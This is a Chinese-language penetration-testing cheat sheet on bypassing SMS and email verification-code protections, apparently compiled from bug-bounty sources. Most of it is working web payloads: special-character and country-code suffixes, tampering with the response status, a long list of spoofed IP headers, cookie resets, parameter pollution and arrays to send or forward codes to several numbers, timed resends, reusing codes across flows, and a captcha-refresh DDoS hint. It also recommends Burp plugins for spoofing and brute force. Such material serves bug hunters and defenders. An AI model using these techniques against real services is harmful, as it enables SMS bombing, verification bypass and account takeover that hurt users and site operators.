本文对目前网络上与业务安全相关的短信&邮箱验证码进行整理。
收集自:
国外BountyTips
乌云漏洞库
各大安全类媒体(论坛、公众号等)
Request
phone=111*****123 或 email=test@aa.com
Response
{"status":"0","message":"发送太过频繁"}
特殊符号绕过
Request
phone=111*****123 或 email=test@aa.com
%00
%0a
%a0
\n
空格
\r
86
+
-
,
.
;
#
@
0
+86
086
0086
26个英文字符
......
Request
phone=111*****123 或 email=test@aa.com
Response
{"status":"0","message":"发送太过频繁"}
修改返回值绕过
拦截返回包,将Response中的status值修改为1
{"status":"1","message":"发送太过频繁"}
Request
phone=111*****123 或 email=test@aa.com
Response
{"status":"0","message":"发送太过频繁"}
修改IP绕过
推一个burp插件
burpFakeIP是一个伪造ip地址进行服务器爆破的burpsuite插件,主要用来躲避防火墙封锁
https://github.com/TheKingOfDuck/burpFakeIP
使用请看以下文章
(71条消息) 【渗透测试】---如何用burpsuite伪造IP通地塔的博客-CSDN博客burpsuite ip伪造
Request
phone=111*****123 或 [email protected]
X-Forwarded-For: 36.63.19.215
X-Forwarded: 36.63.19.215
Forwarded-For: 36.63.19.215
Forwarded: 36.63.19.215
X-Requested-With: 36.63.19.215
X-Forwarded-Proto: 36.63.19.215
X-Forwarded-Host: 36.63.19.215
X-remote-IP: 36.63.19.215
X-remote-addr: 36.63.19.215
True-Client-IP: 36.63.19.215
X-Client-IP: 36.63.19.215
Client-IP: 36.63.19.215
X-Real-IP: 36.63.19.215
Ali-CDN-Real-IP: 36.63.19.215
Cdn-Src-Ip: 36.63.19.215
Cdn-Real-Ip: 36.63.19.215
CF-Connecting-IP: 36.63.19.215
X-Cluster-Client-IP: 36.63.19.215
WL-Proxy-Client-IP: 36.63.19.215
Proxy-Client-IP: 36.63.19.215
Fastly-Client-Ip: 36.63.19.215
True-Client-Ip: 36.63.19.215
X-Originating-IP: 36.63.19.215
X-Host: 36.63.19.215
X-Custom-IP-Authorization: 36.63.19.215
Response
{"status":"1","message":"发送成功"}
Request
Cookie:JSESSIONID=xxxxxxxxxx
phone=111*****123 或 email=test@aa.com
Response
{"status":"0","message":"发送太过频繁"}
修改Cookie绕过
①删除cookie
Request
phone=111*****123 或 email=test@aa.com
②重新获取一个新的cookie
换个浏览器重新获取就行了
Request
Cookie:JSESSIONID=yyyyyyyyyy
phone=111*****123 或 email=test@aa.com
Request
phone=111*****123 或 email=test@aa.com
Response
{"status":"0","message":"发送太过频繁"}
参数污染绕过
Request
phone=111*****123&phone=111*****456&phone=111*****789
可能一次性3个手机号都接收到验证码
也可以都写同一个手机号试试能不能接收到3次短信
之前看到过一个案例
还可以这样
phone=111*****123,111*****456,111*****789
或
将参数改为数组形式绕过短信轰炸限制
Request
phone[]=111*****123 或 email[]=test@aa.com
推一个burp插件
turbo intruder
可在 burpsuite 的 BApp Store 直接安装该插件
团员成员十二的案例里有
https://www.yuque.com/shier-mfbht/qh4bgb/zcee3k
注意下数据包里要加个 req:%s
Request
phone=111****1234 或 email=test@aa.com
Response
{"status":"0","message":"请60s后再发送"}
用python写个脚本加个 time.sleep(60) 每60s后发包即可
两个案例来自团队成员十二
关于验证码的那些漏洞 · 语雀 (yuque.com)
用户绑定了手机号,正常来说是获取绑定手机号的短信,通过burp修改成其他手机号
把这个手机号改成其他手机号的
点击提交,抓包改成其他刚刚接收短信的手机号
加个逗号后面接上需要转发的手机号,因为开发可能使用数组就导致同时把验证码发给两个手机号
参数污染也可能实现转发
Request
phone=111*****123&phone=111*****456&phone=111*****789
还有数组的方式
Request
phone=111****1234 或 email=test@aa.com
修改为
phone=[111****1234,111****4567] 或 email=[test@aa.com,test@bb.com]
手机号1点击获取验证码,得到验证码未ZXCV。
手机号2输入验证码ZXCV,成功通过验证。
找回密码处获取短信验证码
然后到登陆处使用刚刚获取的短信验证码,成功通过验证。
案例来自十二
这个例子是个特例
案例如下
https://cloud.tencent.com/developer/article/1195088
https://blog.csdn.net/Adminxe/article/details/105918280
刷新验证码,若发现在请求头中有对验证码参数可控的操作,可以尝试是否能引发DDOS
经典TikTok案例
https://www.freebuf.com/vuls/224963.html
乌云案例
https://wooyun.website/show.php?uid=bI5ic82NWiGyJ0N2LJqTerytFYVGC6CPj4oNOH3b
漏洞挖掘在于细心尝试,可能前台登陆处发送短信验证码不存在任何漏洞,但是可以尝试登陆后查看后台中是否有与发送短信&邮箱验证码相关的功能点,例如投诉、反馈、绑定、换绑、礼品兑换等等。
国外:
https://blog.deteact.com/common-flaws-of-sms-auth/
国内:
https://www.yuque.com/shier-mfbht/qh4bgb/zcee3k#NCKmS
https://xz.aliyun.com/t/7926#toc-11
https://www.anquanke.com/post/id/93878